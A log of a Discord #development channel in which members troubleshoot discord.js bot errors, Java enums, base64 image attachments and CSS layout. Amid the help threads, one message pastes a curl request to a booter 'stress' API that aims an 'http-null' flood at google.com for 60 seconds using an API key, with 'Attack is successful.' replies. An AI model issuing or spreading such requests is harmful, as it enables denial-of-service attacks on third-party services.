#development
1 messages · Page 24 of 1
IntentsBitField is probably an enum, and not a class
Ah nevermind it seems like it is a class
Can you show your code?
Keep in mind he’s on 13.3
It’s not even an enum, it’s a straight up class in v14
Since nobody likes camelCase anymore
v15 next breaking change
Then using ZeBrAcAsE

IntentsBitFlags should be importable iirc
Same goes for permission bit fields
I saw a PermissionBitFlags static existing too
How do I know if the inviter is null
return invited by <owner>
in the welcome system
TypeError: Cannot read property 'inviter' of null
the error is you are using .inviter on null, not that inviter itself is null.
ie null.inviter
No, the user logs into the server via the custom server link
He does this problem
Just show your related code
I don’t think you understand what he’s saying, he’s saying that inviter is not null, but your object preceding that property is null
await member.guild.fetchInvites().then(async guildInvites => {
const ei = await invites[member.guild.id];
invites[member.guild.id] = guildInvites;
const invite = await guildInvites.find(i => ei.get(i.code).uses < i.uses);
const inviter1 = await invite.inviter;
const inviter =
(await client.users.get(invite.inviter.id)) ||
client.users.get(member.guild.owner.user.id);
const logChannel = member.guild.channels.find(
channel => channel.name === `${welcome[member.guild.id].channel}`
);
if (!logChannel) return console.log("I can't find welcomeChannel");
let gg1 = await welcome[member.guild.id].msg.replace(
"[member]",
`<@!${member.id}>`
);
if (!inviter || !inviter1.id ) {
gg2 = await gg1.replace("[inviter]", `<@${member.guild.ownerID}>`);
} else {
gg2 = await gg1.replace("[inviter]", `<@${inviter1.id}>`);
}
setTimeout(() => {
logChannel.send(`${gg2}`);
}, 2000);
error from here
Boy I have a lot of questions
First of all you don’t need to await non-promises
Like why are you putting await before literally everything
Also you don’t validate any of your inviter vars
Any can be null
You can’t go on then
Is client.users.get even a thing?
Getting a member from cache can also result in no result at all
No
Well then there’s one of your problems
Dunno about pre 13 versions tbh
So what is the solution ?
You begin to fix what we mentioned above first
What exactly is the problem with my code and will I fix it? Because I didn't see her?
your first 3 declared constants make no sense at all
getting an user requires you tk access the cache
client.users.cache.get()
Not all users are cached at any time anyways
Find() and get() both don’t return a promise
No need to await them
As well as using await on you declarations
Tf is inviter1 = await inviter.inviter; supposed to do?
Not to say that the var is redundant anyways
Well, what are the problems that cause replace to not work?
This is going to be difficult with the language barrier 
@boreal iron I’ll leave you to this one

I explained above
But I can’t explain it in whatever language you’re speaking
Lazy bitch
double reply
lol
no
surely
You had the chance to make a summer event banner but you failed
Shame on you
okay better than drunk driver tbh

Can i know why my bot is down even i run again in replit, added express host it using uptimerobot, freshping, no error, all thing run normal ,just bot cant online
idk
Can i know why my bot is down even i run again in replit, added express host it using uptimerobot, freshping, no error, all thing run normal ,just bot cant online, some log no load
Hey I need topgg token for my discord bot, where can I get it from?
Error: Top.gg token is missing
at AutoPoster (C:\Users\nanda\OneDrive\Desktop\Movie-Night-Discord-Bot-master\Discord Bot\node_modules\topgg-autoposter\dist\index.js:20:15)
at Object.<anonymous> (C:\Users\nanda\OneDrive\Desktop\Movie-Night-Discord-Bot-master\Discord Bot\bot.js:98:2)
at Module._compile (node:internal/modules/cjs/loader:1120:14)
at Module._extensions..js (node:internal/modules/cjs/loader:1174:10)
at Module.load (node:internal/modules/cjs/loader:998:32)
at Module._load (node:internal/modules/cjs/loader:839:12)
at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:81:12)
at node:internal/main/run_main_module:17:47
Node.js v18.7.0
I am getting this error when I run the bot
Where can I get the Top.gg token??
Go to your top.gg bot page -> edit -> webhooks
You’ll see info on generating an api key
After getting it, do you have any idea where to paste it??
Cuz I took source code of a bot and added a few stuff that I wanted
You send it as an authorisation header
So I'll have to get the bot verified??
If you’re bot is approved, it’s only then you can access the top.gg api and it’s api routes
umm okay , thanks for that
No problem
Do note that bot verification from discord and top.gg bot approval is different
For the bot to get verified I'll have to keep the bot up right?
yes
hey guys in my index file i've made: js client.player = new Player(client, { leaveOnEnd: true, leaveOnStop: true, leaveOnEmpty: true, leaveOnEmptyCooldown: 60000, autoSelfDeaf: true, initialVolume: 100 });. How would i be able to export this client.player class and use it in my commands in the /commands folder?
module.exports = {
data: new SlashCommandBuilder()
.setName('back')
.setDescription('Go to the previous song of Music bot #1.'),
async execute(client.player, interaction) {```each of my commands look like this, so i tried to pass it inside the async execute as you can see, but that doesn.t really work.
curl https://api.booter.cc/v1/stress
-X "GET"
-H 'Content-type: application/json'
-d "host=google.com"
-d "port=80"
-d "time=60"
-d "method=http-null"
-d "proxy=0"
-d "key=05aUnLU8hE2Ohz0W4C"
{
success: true,
message: "Attack is successful."
}
{
success: false,
message: "Concurrent limit exceeded."
}
Hi satori
cai what
not considered my alias but hi
man fogor about function declaration
okay so you are trying to access the player inside the execute function body
just pass the bot object in instead and access the props from there
//...
async exec(client, interaction) {
client.player.doWhatever(...args);
//...
}
or if you only plan to use the player field, use object destructuring instead ```ts
//...
async exec({ player }, interaction) {
player.doWhatever(...args);
//...
}
tips: defining exec(client.player) will result in syntax error
@eternal osprey
If i try doing this it returns me: cannot find interaction
due to that client i am passing
remove the arrow
and you should be good
i'm sorry
i updated the syntax, also that syntax can only be used inside object declaration
I see
I would sooo kiss you rn
if you give me consent ofc
@civic scroll js async execute({Player1}, interaction) { console.log(interaction)
returns: undefined
due to that player1
show me the code where that execute function is called
it must be called with 2 arguments
async execute({client}, interaction) {
console.log(interaction)
const string = await interaction.options.getString('song');
const guildQueue = client.player.getQueue(interaction.guild.id);
const channel = interaction.member?.voice?.channel;
if (!channel){
return interaction.reply({ephemeral:true, content: ":x: **You have to join a voice channel to play music!**"});}
if (guildQueue) {
if (channel.id !== interaction.guild.me?.voice?.channelId)
return;
}
let result = await client.player.search(string, { requestedBy: interaction.user }).catch(() => {});
if (!result || !result.tracks.length)
return interaction.reply({ephemeral :true, content: `:x: **No result was found for** \`${string}\`.`});
let queue;
if (guildQueue) {
queue = guildQueue;
queue.metadata = interaction;
} else {
queue = await client.player.createQueue(interaction.guild, {
metadata: interaction
});
}
try {
if (!queue.connection)
await queue.connect(channel);
} catch (error) {
client.player.deleteQueue(interaction.guild.id);
return interaction.reply({ephemeral :true, content: `:x: **Could not join your voice channel!**\n\`${error}\``});
}
result.playlist ? queue.addTracks(result.tracks) : queue.addTrack(result.tracks[0]);
if (!queue.playing) await queue.play();
}```
nooo not function definition
i mean where it was called
use console.trace(interaction)
then send me console output
owh damn i didn';t even know that was a thing
the more you know
but most of the time you get free stack traces when an unhandled exception occurs
Trace: undefined
at Object.execute (e:\coding templates\Achievement - Copy\commands\play.js:18:24)
at Client.<anonymous> (e:\coding templates\Achievement - Copy\index.js:158:19)```
bruh
client.on("interactionCreate", async (interaction) => {
const command = client.commands.get(interaction.commandName);
if (interaction.isCommand()) {
await command.execute(interaction);
}
})```it might be this
there you go
it's excecuting the interaction, but not the client
solution: pass the bot object to first positional argument
await command.execute(client, interaction);
suggestion: if you are not depending on result of command execution (void), consider removing await
the interaction.client is not runtime client tho
so accessing custom fields won't work
in this case man has client.Player1
why did i get Client instead of custom class

but also it makes that harder to read
Maybe they did client.X = ... instead of extending it
that's the same shit i do
💀
so yeah just use the context variable instead
i tried for classes too
if i log the result client returned by api it's just lib Client class and not the class that inherited it
Error: Cannot find module 'node:events'```
bro
i swear i've got v16.6.2
v16.6.2
after running node -v
where did you import that 💀
and what for
i fixed it after moving it into my coding directory
maybe i just set the path to there
but....
TypeError: Object.hasOwn is not a function
what da fuck is this
bro why is my code completely fucked
update node to latest version of v16
it already is
but what's this
😭
a feature that is not available in this node

fucking hell
Object.hasOwn is only available in node version 16.9 and later
you have node v16.6
💀
Would it give issues if i later on try to run other projects?
one npm rebuild would do the job right
i see, but all my other v13 projects won't be in harm by updating the node version i hope
no
it won't
💀
Sorry
i catch feelings too fast
GatewayIntentBits.SEND_MESSAGES,```what;s the valid bitfield intent?
^
RangeError [BitFieldInvalid]: Invalid bitfield flag or number: undefined.```
GatewayIntentBits.SendMessages,
i mean
thats not a gateway intent
send messages is a permission
gateway intent would be guild messages
and dm messages
this.requiredTextPermissions = [
"VIEW_CHANNEL",
"SEND_MESSAGES",
"READ_MESSAGE_HISTORY",
"ADD_REACTIONS",
"EMBED_LINKS"
];```yeah this is in my code
so everything should be ViewChannel
SendMessages etc?
in v14 yes
imagine they change it back to uppercase snake case in v15
i would be so.
mad
wouldnt be surprised :^)
anyway not my problem, i dont use djs anymore huehuehue
time huehuehuehuing 
Dropping something stable and consistent… smh
yes, very "stable" and "consistent" :^)

Ty
Guys iam not 16 + and i need the verification form tk be sent for my friend
How can i do this. By creating team?
You have to ask someone who's 16+ to do the verification
Also does anyone know how alert systems work, like the one in Dank Memer?
You can ask your legal guardian to do it for you
There is an option for that
You mean this “alert”?
Easy… store your alerts in a map/collection/object etc. with the recipient (user ID) as key
Once a command is being executed, check if your alert storage has the author of the executed command or the recipient of the response
Then attach your alert message as content
And instead of repeating that part of code for every response you simply create your own function which sends a response but also checks the alert storage to add an alert or not to the message
I got a development question, I know it's possible, but I haven't used it in so long I've forgotten...
If I have
data: {
id: 'channel',
content: '234234234234'
}```
How do I map it like this
```js
{
data.id: data.content
}```
dunno how dictionaries work on js, but in python it would be something like:
dictionary = {}
dictionary[data['id']] = data['content']
so essentially setting the key of the entry to the id, then the value to the content
data_dictionary[data.id] = data.content
pretty much same thing in js
good good
const object = {};
object[data.id] = data.content;
or
const object = {
[data.id]: data.content
}
though the second one would override the object dictionary, no?
lets say you're iterating through a list
yes
then the first option if you're iterating through a dataset
yup

Did someone make a typo for quick.db
lmao
this is it, thanks man
Basically making a cleaner return object in a common file, needed a way to adapt to many different data sets
how do i place text the proper way
what is "the proper way"?
not even quick.dn
by not using absolete css
if there is a way to of course
i guess its filling it
like text-align?
from top aswell but yea
You'll want to center the parent container, aka, align-content or justify-content
Depending on your project, this may or may not be the answer, but if it's not if could also be a poor parent container
i will attempt to use it thanks
I always give my container a background color until I'm finished
like background-color: blue/purple/green/yellow
yeah that makes sense i guess
until you're done centering
¯_(ツ)_/¯
Makes seeing the different containers 1000x easier
yeah that certainly makes sense
Otherwise you'll bash your head wondering why something won't center, when it's actually a parent 4 levels up breaking

Trust me, it happens ALL the time
thanks
A much easier way than overlapping backgrounds of elements is to assign each element a randomized border to debug width, height and position issues
- { border: 1pm solid; }
does anyone know a way to mute a user and remove all his roles, but as soon as he gets unmuted readd them?
Should i integrate its roles in a database prior to muting him
and later on readding it?
Sounds like you’re going to need a database for that
And please please please not json
😭
use jasondb
i am definitely going to use json

Whahahha na just kidding
guys i upgraded to mongodb
jacksondb

MongoDB is pretty good but if you're looking for scalibility of the database, you should look into PostgreSQL, usually MongoDB is bad at handling a ton of requests and scaling the documents and stuff
Yeah that was already explained at a bootcamp i took
I am mainly using mongodb for small projects
and basically small data that needs to be stored
That's completely understandable
Tf I thought your name is Charlette
I’m going to hope that was a joke 
I thought it was John.
I thought it was Jeffrey
In Java, if I would want to make enums, supposedly like this in JS:
export declare enum ButtonStyle {
Primary = 1,
Secondary = 2,
Success = 3,
Danger = 4,
Link = 5
}
Is it like ```java
enum ButtonStyle {
Primary = 1,
Secondary = 2,
Success = 3,
Danger = 4,
Link = 5
}
No
Oh, then without the = x?
It would be like
public enum ButtonStyle {
PRIMARY, SECONDARY, SUCCESS, DANGER, LINK;
}
Fair enough.
What do the numbers represent for your case
This is as per discord.js, they used numbers.
Not sure however why though.
Ah, they're probably "codes"/enum values when sent to Discord
You can add values to enums
Just add parentheses to each one as if you're calling them like a method with arguments
public enum ButtonStyle {
PRIMARY(1),
SECONDARY(2),
SUCCESS(3),
DANGER(4),
LINK(5);
public ButtonStyle(int value) {
this.value = value;
}
}
Aren't those numbers like IDs?
Is it possible to add IDs to each enum or is your method it?
Like this.
Primary, secondary, success, etc. are just human names. Discord only accepts numbers representing each one.
So 1, 2, 3, etc. each correspond with a style
Ohh, fair enough.
public enum HttpStatus {
OK(200),
CREATED(201),
BAD_REQUEST(400),
NOT_FOUND(404)
public HttpStatus (int value) {
this.value = value;
}
}
Like this?
I believe so
What other way?
Create a class with static final fields each representing a value
^
Example?
though this is definitely a good use case for enums in java
Code example?
public class HttpStatus {
public static final int OK = 200;
}
that's for the static final fields example
what you're doing already
public class Platforms {
public static final int macos = 1; // ok
public static final int windows = 2; // bad
public static final int linux = 3; // worse
}
Honestly, I just wanna recreate to understand, that's all.
^ I believe this should work just fine
Why does it say those are enum fields.
Or is it actually called that.
Also, what's the general difference between this and what I did?
what did you do
no
that wont work at all
u need to declare a final field to hold the value
mostly, speed and optimization
So to do something like this... https://cdn.hamoodihajjiri.com/UrGzvd8iCZ .
I do this?
those aren't real enums, it's just a makeshift solution for langs like js
when u need to...well...enumerate
like, imagine you have a Gender field (which is an enum)
MALE, FEMALE, OTHER
(or if u want to list all of them, whatever)
u have absolute values, that are guaranteed to be immutable at all moments
yes
enums (like constants) are always CAPITAL_SNAKE_CASE
color doesn't have enums, those are public static final values
enums are independent of anything else
Oh, then when should I be using enums and when should I use the other?
they're like fixed values to be used somewhere
(like PI) 👍
pi isn't an enum also
No, that's a public static final value.
those are the so-called "magic constant"
most IDEs detect them when passing as a parameter
example of usages:
Right now, all I see them is just returning the enum itself: https://cdn.hamoodihajjiri.com/7xV2JkPbv5 .
No useful case other than that.
and example for magic constant:
with that annotation, I tell the compiler that the value is supposed to be one of those fixed values
those aren't enums, just constants
Enums look useful as a closed yet optimized set of values.
This is the second method.
Which is like the discord.js one in enums.
No?
enum use-case:
a card can only have 4 types: NONE, KAWAIPON, EVOGEAR or FIELD nothing else
Alrightttt, I see now.
with constants, u could pass any value as a parameter in my first example
with enums u cant
it HAS to be one of those 4
or null
Why numbers, though?
Example, discord channel types is type 0 or type 1 or etc.
Why numbers?
that's for js
because strings are costly
Meaning?
that you waste a shitton of resources just to hold those values
Is this why you use this?
no
in my case, I might have other, undocumented status codes
those who ARE known are listed as constants
the compiler can optimize that as much as if I used enums instead
but it allows more values other than the declared ones
Fair, last question...
So you said strings are costly on why discord accepts integers...
So why values as numbers? 
Instead of "Success", "Initialization Error", etc.
because I can't use enums for status codes
because string are COSTLY
like, VERY costly
Alright, alright. 👍
in my example, I'm using byte, which is only 8 bits
Isn't the size of byte 1 byte?
byte 1 byte Stores whole numbers from -128 to 127
short 2 bytes Stores whole numbers from -32,768 to 32,767
int 4 bytes Stores whole numbers from -2,147,483,648 to 2,147,483,647
long 8 bytes Stores whole numbers from -9,223,372,036,854,775,808 to 9,223,372,036,854,775,807
float 4 bytes Stores fractional numbers. Sufficient for storing 6 to 7 decimal digits
double 8 bytes Stores fractional numbers. Sufficient for storing 15 decimal digits
boolean 1 bit Stores true or false values
char 2 bytes Stores a single character/letter or ASCII values
a string, however, is at minimum 2 bytes for a single character, not considering the header
\u0000 to \uFFFF for each char
Oh, that's a lot.
if we consider only that, "SUCCESS" would cost 8 bits * 7 chars, which is 56 bits (or 7 bytes)
most of the time it doesn't matter, but sometimes you REALLY want to squeeze all the available space u can use
(Keep in mind most of these number data types will be 4 bytes anyways due to arch optimizations)
Not including the ones bigger than 4 bytes
begone arch user
all data is at minimum 8 bits
even booleans
It's the smallest amount of memory the CPU can address at once
BUT you can do a pro gamer move and use integers as boolean arrays
being able to store up to 8 booleans in a single byte
Yeah, bitsets are good for memory if you're using a lot of them
4 bytes for 32 booleans
which is why discord use that for permissions
else...just imagine the response json
lmao
Anyways, I think I had enough Java learning today. I got to understand the basics, everything about methods, attributes, constructors, modifiers, classes, and etc.
I got to understand everything about enums as well, thanks a lot. 
tomorrow will be harder
hey
how can i actually only make a button clickable if someone clicked the select menu
update the message
interaction.reply({embeds: [{ footer: `Music Bot #1`,description: `**Skipping 15 seconds **`, color: `#FF0000`}]})```only dictionaries may be used in ModelType?
isn't that color supposed to be inside a string?
footer with a color?
what
it's the embed color, footer and description
this is how i define my embeds
a
Footers to my knowledge take objects
can't it be hex anymore?
I remember in djs v13, #FF0000 and even color names such as "RED" were accepted by it
i used the djs MessageEmbed method
yes
data.embeds[0].footer[MODEL_TYPE_CONVERT]: Only dictionaries may be used in a ModelType```
still the same
interaction.reply({embeds: [{ footer: {text: `Music Bot #1`}, description: `**test**`, color: 0x44b868 }]})```
Might just use EmbedBuilder then lol
You can use hex literals as the color
Just not in string form
I see
but why's the above error occuring then?
I will just use EmbedBuilder for the ease
That's a very odd error
The only thing I see out there on that is some sort of json dependency fucking with it, which wouldn't make sense since js supports json format natively
What version are you using?
If you're using anything under 13.9, I suggest updating to 13.9 if you don't want to update to v14
I am using the latest version
I've never seen that error before
ah wait
I know
you're missing a curly bracket
wait I thin I'm stupid
hold on
brain dying
yeah I have no idea
If the builder works and not that, then the DAPI is just bugging the fuck out or something
just send raw hex if the thing only accepts number ```ts
0xFF0000
What's the newest backend framework for nodejs? (industry standard)
expressjs
koajs
nestjs
ig

idk about that
C:\Users\creative infotech\Desktop\Test\node_modules\discord-player\dist\Player.js:46
if (this.client?.options?.intents && !new discord_js_1.IntentsBitField(this.client?.options?.intents).has(discord_js_1.IntentsBitField.Flags.GuildVoiceStates)) {
^
TypeError: discord_js_1.IntentsBitField is not a constructor
at new Player (C:\Users\creative infotech\Desktop\Test\node_modules\discord-player\dist\Player.js:46:47)
at Object.<anonymous> (C:\Users\creative infotech\Desktop\Test\index.js:36:16)
at Module._compile (node:internal/modules/cjs/loader:1105:14)
at Object.Module._extensions..js (node:internal/modules/cjs/loader:1159:10)
at Module.load (node:internal/modules/cjs/loader:981:32)
at Function.Module._load (node:internal/modules/cjs/loader:822:12)
at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:77:12)
at node:internal/main/run_main_module:17:47
type BitField is not callable
for this use consider using IntentBitField.any(<FLAGS>)
oh wait
the constructor signature is valid
Install the recommended djs version for discord-player
forgot
how ?
npm install <package>@<version>
You gonna send a request to the topgg API
You simply add the bot ID you wanna find to the request uri
And get the bot data or null if it wasn’t found back as response
Would you recommend using Fastify with / without TS?
I honestly wouldn't even bother with a framework unless it was pug and you cached static render results
wdym with that?
Frameworks are super annoying to deal with and have heavy sacrifices just for developer convenience. Pug is a framework and pages have to be compiled to html, but you can always cache the compilation results for static webpages
what does that have to do with TypeScript yes or no with Fastify?
Do whatever you want. It's your project
well yeah ofc.. I just asked for recommendations
And I gave you one that I had used in the past. And I'm not sure if you know my reputation here is to be optimized. It's fine if you don't, not trying to flex or anything, just I don't bother with frameworks for a reason. Then again, https://amanda.moe is written in pure html and css
Is it better to use extends or make a new object, example:
package main;
public class Game extends GameWindow {
// private GameWindow gameWindow;
public Game() {
// gameWindow = new GameWindow();
};
};
extends allows a class to inherit the prototype of this' super. This is only useful for if all methods and properties of super can be applicable to this
Some projects have complex class trees, some classes of which are abstract (cannot be initialized, only extended) to make sure all of their class extensions only include desired methods/properties.
Some go a step further and assign from one prototype to another to cherry pick methods/properties.
Fair enough.
Those shameless ads anywhere nowadays


better with ts imo since better tooling and safer code
ima insert dynamic animation 
plus is not really that annoying
take an instance with nextjs
Is it just me or DJS 14 is very annoying.
is it possible to make all properties mutable in DJS 14?
thanks^^
what properties though
Properties of the object, for example, button.
It used to be simple .setDisabled(false) now it's ButtonBuilder.from(button).setDisabled(false)
you can update the components of the message instead
it's immutable for a reason
since well, to update the message buttons you need to make an api call
so at this point just call the func
i get you
it can be mutable but again, it's only on our side but not the end user
plus their fields are readonly so you can't modify them in ts
until i did a oopsie and (button as any)
mmmm... i can smell the TS blindly doing stuff...
i got into ts jail once
for //@ts-nocheck
//@ts-expect-error
it's been fun
at least it knows what to expect
@civic scroll delete abuse.
for (key of keys) delete object[key] just saying
That gonna delete the key that we need too.
replaces keys with an array of keys you wanna delete
too lazy to make a for loop
you have time to write repeated statements
co pilot.
nu.
i will give you 5 across the ass
nu.

sayuri when doing repitive tasks without loops
make a class in haskell. 
Maybe a line before that?
key value started with a numerical character 3
Font.PLAIN.32F
^ Problem started here
= hint: check the key
I would assume you don't need anything other than Font.PLAIN
indeed
Man java could use some good error pretty printing like rust
@muted current
I am making a timediff cmd like so how to get a timestamp thorough a provided message ID not the message id of the bot
I mean tbh I feel like it wouldn’t be TOO difficult to add similar error reporting to other languages
I’ve seen people in the rust community server writing pretty printers with errors and suggestions just like rust single-handedly for their language
I have yet to see any language come close to it.
Here’s this guy for example
In the case that screenshot is too small, here’s the original one he posted
What api error
let msgEmbed = await message.guild.channels.cache.get(channel).send(embed)
await msgEmbed.react(':arrow_up:')
await msgEmbed.react(':arrow_down: ')
You have to use the literal emoji, i.e. \⬆️ and \⬇️
cannot use id?
Only if you're dealing with custom emojis
The Unicode representation of it, or you can use the full emoji ID if it’s custom
ohh ok thx
Someone knows how to encode base64 links?
Anyone knows what is the meaning of this Warning ?
it means you're sending too many requests
Pls help #topgg-api
To encode base64 links? You mean decode base64 links…
Like most languages I know have native functions for encoding/decoding base64
to ObjectURL?
this only happens when i launch the bot, it keeps waiting for a few mins before the on_ready() is triggered
also nothing is wrong when i launch it on my computer, it only happens on cloud server
Yeah mb
when i get y value in this position it gives me 0 but this y value of this box. In order to reach the real y value of the text, I need to subtract the space between the text and the box from the y value, but how do I find that space?
sorry for my bed england 😃
Well without telling us what language you’re speaking about nobody can help you?!
It’s not like we can guess which one you mean…
Idk i never worked with them, i am using Minecraft api which gives base64 url for skin so according
Js
can't you just get the height of the text element?
<HTMLElement>.clientHeight
Buffer.from(data, <type>)
what's the element
you can only send 120 gateway messages per minute per shard
I can get the element like this: stage.find(".username")[0]
Konva.Text
it gives the fontSize so it is fixed 30
Idk what type is it and data is the url itself?
you said you wanna decode base64 right?
u can get the lowercase font shape and get the boundaries, then subtract by the lowercase variant
like, compare the boundaries between t and T, subtract the height and you'll have the gap size
Why would comparing t to T give me the space between text and box?
Buffer.from(<encoded url>, "base64");
becasue T will have the maximum height (without the ascend) of the font
in yellow is the gap I mean (the one u probably want), in blue is the ascend
unless I got it wrong
the space I want is the part I marked with red
in java u could just the the shape of T and get its boundaries
Ohk thanks btw encode url in " "?
it'd return the actual height
yes
Since the vertex of G is higher than T, actually I want to take the vertex of G as the vertex of the text.
but that's not happening
G and T have the same height tho
from the apex of the box i have to subtract the apex of the text
no
until my font
maybe it's because of the font i'm not sure but they don't have the same size

it's just visual illusion
G appears to be higher because it's curved
but if u put that in an image editor you can count the pixels
anyway, I believe the real question here is WHY you want that gap
like, what are u trying to do?
i am trying to get x y values of selected element like photoshop but this value cannot be the value of the box because I need to draw it with canvas
if it's fixed size perhaps we can only calculate them by hand
that is, if the text gives a value like -5 to y at the top of the canvas, I cannot draw it correctly on the canvas. so if the y-coordinate of the text gives a value like -5 I can't draw this right on canvas
As the size increases, the height between the text and the box increases.I've tried
just the the size of the box
calculate the ratio between font size and that gap
The font size does not change no matter how much I enlarge the text.
this happens when i enable members intent. when i disable it, everything works fine
that's bcuz changing the box won't change the font size
like, it shouldn't
yes
so i can't do that
yeah
are you trying to make a PS plugin?
your best bet is the bounding box
I'm trying to make a design panel for users
users can set their own level card from the website
still
there's no need to have a dynamic boundary box, just have a font-size selection option
oh that makes so much sense
if u still want to, there are 2 ways u could do this:
A - iterate over all the pixels vertically, store the first and last non-transparent pixel and compare the distance between them
B - if the text is centered, get the central coordinate and subtract fontSize / 2, your text will be from boundingBox / 2 - fontSize / 2 to boundingBox / 2 + fontSize / 2
both are more complex and, in the case o A, terrible performance-wise
A 💀
Bruh it gives me something else random bytes 💀
it's not random bytes
images are just masked numbers
those bytes are what construct your image
So can I convert them to image?
yep, each of those numbers is a pixel
i will try something thank you for your help
Like something done that gives me the image directly
I mean, not exactly, since they're encoded in whatever the image format is
I wasn't sure it was a png
don't even need the mime type
What should I do now?
assume your data is as is
you can do
URL.createObjectURL(new Blob([data]))
pass the result of this expression to the src attribute of img element
Imagining i am not using website it's just for a bullshit bot 🌝
what people read: "blob, a binary long object"
what I read:

That data over there says that is error
Everything at the lowest level is just a sequence of 1s and 0s as electrical signals, it’s gotta be represented as numbers somehow!
BRO
I'm dumb af
data being whatever parsed from Buffer.from call you did earlier
Demn i removed that line lol

createObjectURL isn't defined 🙃
ps: she doesn't mean "theurl".createObjectURL
Yeah now it worked now it gives we something
blob:nodedata:some numbers now i have to do something?
a
Yeah i told I'm not creating website i just need a damn image link to put it in embed
*discord bot
the buffer is what u pass to the embed
Oh that too works?
it's not "too", it's the only way to have non-hosted images in embeds
send the image as a file and use attachments://name.ext for the url
Hmm....thanks @civic scroll kuuhaku and FAKE
Am i doing something wrong?
So you mean it should be that thing which i got from buffer if yes then that gives error expected https http attachment:// error
no
when u add a file to the message, you need to pass a buffer and a name right?
THAT name is what u pass to the attachments url
Should it be in .setImage ?
yes
ayaaaaaa
Haiyaaaa
let skins = skin.data.properties[0].value;
let data = Buffer.from(skins, "base64");
let final = URL.createObjectURL(new Blob([data]));
message.channel.send({embed: [ new EmbedBuilder()
.setImage(`${final}`)
]})
};
Okay here what to change I'm super confused
Wtf
*sigh*
Pls use buffers and provide image name
Ah cool
The image name / source will be final?
we gotta embed the image as base64
nope, u can send the buffer as a file
oh
then assign the file to the embed image
That's the only way
no, that's the actual, official way of adding non-url images to embeds
Or upload it somewhere and use URL
After spending time I'm not sure what i have to use here that node:data or something else?
i want to die
I don't allow u to
i wanna go there and manually type the code for him
it will become 5000+ lines soon
no
parser is nearly finished
this is basically the last thing I have left
surely
I read it it's like they are importing image from somewhere local ram and then using it
const attachment = new AttachmentBuilder(await final.encode('png'), { name: 'skin.png' });
interaction.reply({ files: [attachment] });
Is this what i need to do?
looks like you've done something wrong
what tho???
because if the API were taking 37 seconds to respond, your lib would timeout the request first
defo not wrong ping being displayed since command take 1-5 seconds to execute
but what abt the text, did you read the text describing what they're doing there?
It's probably an issue from the Discord API side, if not then it's your bot host's internet connection
like, there's a text right above that code
8c
37s ping lmao
not possible
any reasonable request would timeout long before that
is that happening more than once? Could just be a really odd bug
probably some inefficiency on the code is making it move like a stone
Well, I feel like that's not anything to do with it
The Discord API is way more fucked than that, I remember when a request went on for 30 minutes and then came back with a response 
Ping should be based on the DAPI response time, not his command response time
lmao
is it actually taking 30 seconds to receive the message?
depending on how you calculate ping it can be wrong
yeah every single commans takes ages to respond
ah yes, when discord was testing their mars servers
Pong!
pong
you guys can even come and try yourselves
My rest is 185ms, gateway is 80ms

The attachment parameter takes a BufferResolvable or Stream including the URL to an external image.
I still dont get this line
If your bot is slow, probably a you issue
It's probably your bot host's internet connection
west us
Considering the code I saw you writing I wouldn't be quick to dismiss that possibility
no ping issues
But yeah, that severe of an issue is probably host
Might be a good idea to restart your bot's session
what u have is a BufferResolvable
I've had issues where my bot had a consistent 3000 ping because there was some sort of weird bug with the session
Just restarted the shard and it was fine
given it's bae...I'd bet on code issues
oh boy I didn't consider the fact that I'm going to have to write documentation on how to use BreakfastLang
Not like it's very difficult, but still
Then this should work?
If I'm not getting it wrong
const { AttachmentBuilder } = require('discord.js');
const file = new AttachmentBuilder(final);
//final is the link what i get
const exampleEmbed = {
title: 'Some title',
image: {
url: 'attachment://${final}',
},
};
channel.send({ embeds: [exampleEmbed], files: [file] });
If something is wrong then say me directly 
@lyric mountain error with this code
Jesus Christ, you have to provide the file name after the attachment:// prefix, not the link
You can provide the file name as the second parameter of the AttachmentBuilder class
it's the name that u set when sending the file
For example:
const attachment = new AttachmentBuilder(final, 'foo.png');
const embed = new EmbedBuilder()
.setImage(`attachment://${attachment.name}`);
await channel.send({
attachments: [attachment],
embeds: [embed]
});
attachment.name would be the name of the attachment, so you wouldn't have to re-type it in the setImage() method
Although you don't have to provide a custom file name, a default file name is already set so you can know what it is by the name property
just throw the computer away and have a sip of tea
Ah yes I am mad but idk everytime when i try to do something a f new error comes now what is this?
the name I believe
figured
I gaved the name as i was instructed by Voltrex#0001
show current code
const attachment = new AttachmentBuilder(final, 'test.png');
const embed = {
image: {
url: `attachment://${final}`,
},
};
await message.channel.send({
attachments: [attachment],
embeds: [embed]
});
It should be attachment://test.png?
Same error tho
attachments => files ?
yes
show what final is
axios.get(`https://sessionserver.mojang.com/session/minecraft/profile/${user_id}`)
let skins = skin.data.properties[0].value;
let data = Buffer.from(skins, "base64");
let final = URL.createObjectURL(new Blob([data]));
remove final, use data
Can't i upload it as image? So that i get preview?
you're gonna upload the file in the same message as the embed
also if it's called "file.jpg" why are u using "file.png"?
you need to use the EXACT same extension as the source file
else you'll get that, an unreadable image that shows as a file
Oh
changing the extension wont magically convert the file
Yeah what to do and also embed isn't loading for some reasons
does it show the poo image?
try sending the image without the embed, if it shows the preview you're doing it right
it if doesn't, there's an issue somewhere in ur code
Its there name, thanks
tf... anyone ever seen that graphical glitch?
I don't want to know what IDE you're using.
windows user
but why tf is the text visible
we do a little bit of gpu damaging
nah, i don't think so
flash flood moment
ngl, as a dwarf fortress players that's all I see lmao
dunno what the hell is going on
press ctrl + shift + windows + B to restart graphics driver
or simply restart the ide
hmm once i update the background color the issue is gone
to something non black
weird
racist ide
your eyes
watching a tutorial video and see this
throw in an extra quantity = quantity
dude, that's my entire screen... just scroll up a little bit
and be scared, like me
just slap your crt monitor on the side. that'll fix it
your code became a building
that hurts me eyes
never played dwarf fortress?
Ok one question
Do you guys all have the same drug dealer?
That would explain a lot 
No never even heard of it
If so… give me his number
I wanna fly too
never played dwarf fortress but always heard its a super complex and super crazy game only for hardcore people
idk
My gosh…
dwarf fortress, the legendary game that if your boss sees you playing at work he gives you a promotion thinking you're an expert programmer/genius
What language is that
java
Java allows the function keyword in classes?
Also fake hates java
He doesn't even wanna look at it
Yeah that’s php
filthy php user
Definitely not Java
Yes fake wouldn't go near java even with a 10ft pole
True
yeh I had that issue as well on my old PC
def a GPU rendering issue
Has nothing to do with the GPU
But with windows
Whenever RDP is opened up this shit happens sometimes
oh dam ok
tho GPU usually causes this, can be due to overheating, broken drivers, malfuncioning parts etc.
Those sort of graphical issues you mean would have an effect on the entire screen not just parts of some rendered app windows
